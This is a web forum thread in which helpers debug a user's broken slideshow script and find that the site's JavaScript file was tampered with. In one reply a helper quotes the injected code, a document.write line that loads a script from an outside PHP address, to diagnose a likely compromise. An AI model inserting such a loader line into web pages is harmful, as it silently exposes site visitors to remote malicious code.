Page 1 of 2 12 LastLast
Results 1 to 10 of 14

Thread: I just added one line????

  1. #1
    Join Date
    Nov 2013
    Posts
    11
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default I just added one line????

    1) Script Title: :: Ultimate Fade-in slideshow (v2.4)

    2) Script URL (on DD): http://www.dynamicdrive.com/dynamici...nslideshow.htm

    3) Describe problem: I have the above script on my website. I added just one line and I broke the thing. I have no idea what I did but here is the code:

    Code:
    <script type="text/javascript">
    
    var mygallery=new fadeSlideShow({
    	wrapperid: "fadeshow1", //ID of blank DIV on page to house Slideshow
    	dimensions: [953, 389], //width/height of gallery in pixels. Should reflect dimensions of largest image
    	imagearray: [
                 ["http://mygiftsite.com/Images-Slideshow/Christmas_2013.jpg", "http://mygiftsite.com/Religious-Figurines-Religious-Statues.htm"],
                 ["http://mygiftsite.com/Images-Slideshow/Cabin-Birdhouse.jpg", "http://mygiftsite.com/Bird-Houses-Victorian-Bird-Houses-Country-Bird-Houses.htm"],
                 ["http://mygiftsite.com/Images-Slideshow/Thanksgiving_2013.jpg", "http://mygiftsite.com/Thanksgiving-Decorations.htm"],
                 ["http://mygiftsite.com/Images-Slideshow/CinnamonCandle.jpg", "http://mygiftsite.com/Scented-Candles-Scented-Jar-Candles.htm"],
                 ["http://mygiftsite.com/Images-Slideshow/CuckooClock.jpg", "http://mygiftsite.com/Cuckoo-Clocks-Black-Forest-Cuckoo-Clocks.htm"],
                 ["http://mygiftsite.com/Images-Slideshow/PalmTree.jpg", "http://mygiftsite.com/Silk-Plants-Silk-Trees-Silk-Flowers.htm"],
                 ["http://mygiftsite.com/Images-Slideshow/Christmas_2013.jpg", "http://mygiftsite.com/Religious-Figurines-Religious-Statues.htm"],
                 ["http://mygiftsite.com/Images-Slideshow/SageBathSet.jpg", "http://mygiftsite.com/Bath-Accessory-Bath-Accessories-Discount-Bath-Accessories01.htm"]             
                    //<--no trailing comma after very last image element!
                    	],
    	displaymode: {type:'auto', pause:9000, cycles:0, wraparound:false} ,
    	persist: false, //remember last viewed slide and recall within same session?
    	fadeduration: 500, //transition duration (milliseconds)
    	descreveal: "no",
    	togglerid: ""
    	})
          </script>
    I added the Christmas_2013.jpg and the whole thing isn't showing up. I don't get it???

    The address of my site is mygiftsite.com

    Thanks in advance for correcting my screw up.

    Silver
    Last edited by Silver; 11-26-2013 at 05:37 AM. Reason: removed hotlink

  2. #2
    Join Date
    Jan 2011
    Location
    Southeastern CT
    Posts
    612
    Thanks
    46
    Thanked 32 Times in 32 Posts

    Default

    looks fine using firefox 25.0.1
    Thanks,

    Bud

  3. #3
    Join Date
    Nov 2013
    Posts
    11
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default

    Bud:

    It may look fine but did you check my website. There is something wrong because the slideshow is now gone. mygiftsite.com

    Thanks,

    Silver
    Last edited by traq; 11-25-2013 at 09:40 PM. Reason: removed hotlink

  4. #4
    Join Date
    Apr 2008
    Location
    So.Cal
    Posts
    3,643
    Thanks
    63
    Thanked 516 Times in 502 Posts
    Blog Entries
    5

    Default

    Here's a quick intro to the debugging process:

    Major browsers all have debugging tools (firebug, Chrome dev tools, etc.) that are very helpful in situations like this. In Chrome, for example, press [F12]:
    Uncaught SyntaxError: Unexpected identifier fadeslideshow.js:25
    Uncaught ReferenceError: fadeSlideShow is not defined (index):75
    Uncaught ReferenceError: ok is not defined tk4ClLOQ.php:1
    Look at the first error first. "fadeslideshow.js" is the name of the file where the problem is; "25" is the line number. "Unexpected Identifier" is the problem. An "identifier" is a name (e.g., the name of a function or variable). "Unexpected" means it is in the wrong place. Look at line 25:
    Code:
    setting.curimage=(setting.persist)? fadeSlideShow.routines.getCookie("gallery-" setting.wrapperid) : 0
    When you call the fadeSlideShow.routines.getCookie() method, you have two values with a single space between them. That will cause a syntax error—if they are supposed to be two separate arguments, they need to be separated (i.e., by a comma), or if they're supposed to be a single argument, the need to be joined together into a single value.

    If you don't follow this, that's okay. Just go back to the original version of the script and compare:
    Code:
    setting.curimage=(setting.persist)? fadeSlideShow.routines.getCookie("gallery-"+setting.wrapperid) : 0
    In this case, it's obvious that you accidentally left out the + (which concatenates the two values into a single argument). Correct it, try again, and see what happens next.

  5. #5
    Join Date
    Mar 2005
    Location
    SE PA USA
    Posts
    30,495
    Thanks
    82
    Thanked 3,449 Times in 3,410 Posts
    Blog Entries
    12

    Default

    In fact, in this case the entire fadeslideshow.js file is corrupt. All + symbols have been removed from it and code (possibly malicious):

    Code:
    /*e21fef*/
    document.write('<script src="http://encon.com.co/tk4ClLOQ.php?id=46013583" type="text/javascript"></script>');
    /*/e21fef*/
    Has been added at the end.

    If you don't know why this code is there, it's either automatically added by your host, or - more likely some kind of attack.

    Replace the fadeslideshow.js file with a fresh copy from Dynamic Drive. If it becomes corrupt again, report this abuse to your host.
    - John
    ________________________

    Show Additional Thanks: International Rescue Committee - Donate or: The Ocean Conservancy - Donate or: PayPal - Donate

  6. #6
    Join Date
    Nov 2013
    Posts
    11
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default

    Adrian:

    All I see on line 25 is this:

    <script type="text/javascript">

    I am using IE. I went into F12 and I still see the above. Very confused. I have never dealt with this before.

    Thank you,

    Silver

  7. #7
    Join Date
    Nov 2013
    Posts
    11
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default

    Oh Boy:

    I can't believe it. I will report this. I'm not sure what to do now but won't be able to do this until later. I will undoubtedly be back for help.

    Thank you,

    Silver

  8. #8
    Join Date
    Apr 2008
    Location
    So.Cal
    Posts
    3,643
    Thanks
    63
    Thanked 516 Times in 502 Posts
    Blog Entries
    5

    Default

    Quote Originally Posted by Silver View Post
    Adrian: All I see on line 25 is this:
    <script type="text/javascript">
    It means line 25 of the javascript file.

    However, as John pointed out, you should probably replace the entire script rather than trying to fix it.

    Quote Originally Posted by Silver View Post
    I'm not sure what to do now but won't be able to do this until later…
    At the very least, start by removing the script that has that unknown code inserted in it. Do not wait. Look at your other files as well, and see if anything unusual has shown up in them as well.

  9. #9
    Join Date
    Nov 2013
    Posts
    11
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default

    OK. I have not received an answer from my host as of yet. You say that I need to replace the fadeslideshow.js file with a fresh copy. It has been such a long time since I installed this I really don't know where that file is located so I can replace it. Can someone give me a clue.

    Thanks for putting up with a "non-coder"

    Silver

  10. #10
    Join Date
    Apr 2008
    Location
    So.Cal
    Posts
    3,643
    Thanks
    63
    Thanked 516 Times in 502 Posts
    Blog Entries
    5

    Default

    From your webpage:
    <script type="text/javascript" src="SlideShow/fadeslideshow.js">
    You can get the "fresh copy" from the demo page here on DD, obviously.

    * * * * *

    Until this is straightened out, I'm going to "play it safe" and remove the hyperlink to your site (just in case you have been attacked, I don't want anyone clicking through unaware).
    If you need to, you may post additional URLs (leave off the "http://" and "www." parts), but please don't post any hyperlinks until you have this solved.

    Quote Originally Posted by Silver View Post
    Thanks for putting up with a "non-coder"
    We were all there once, and that's why we're here now. : )

Similar Threads

  1. Ultimate Fade-in Slideshow - wont work on-line but will work off-line
    By southerncrow in forum Dynamic Drive scripts help
    Replies: 6
    Last Post: 12-21-2010, 02:27 PM
  2. Resolved added yesterday only
    By Feckie in forum PHP
    Replies: 6
    Last Post: 08-31-2009, 11:55 AM
  3. Resolved Why is a random num added to the URL?
    By yabot in forum Dynamic Drive scripts help
    Replies: 2
    Last Post: 06-17-2009, 05:22 PM
  4. 5 numbers added with a FOR loop
    By JagvsShodan in forum JavaScript
    Replies: 3
    Last Post: 04-28-2006, 11:36 AM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •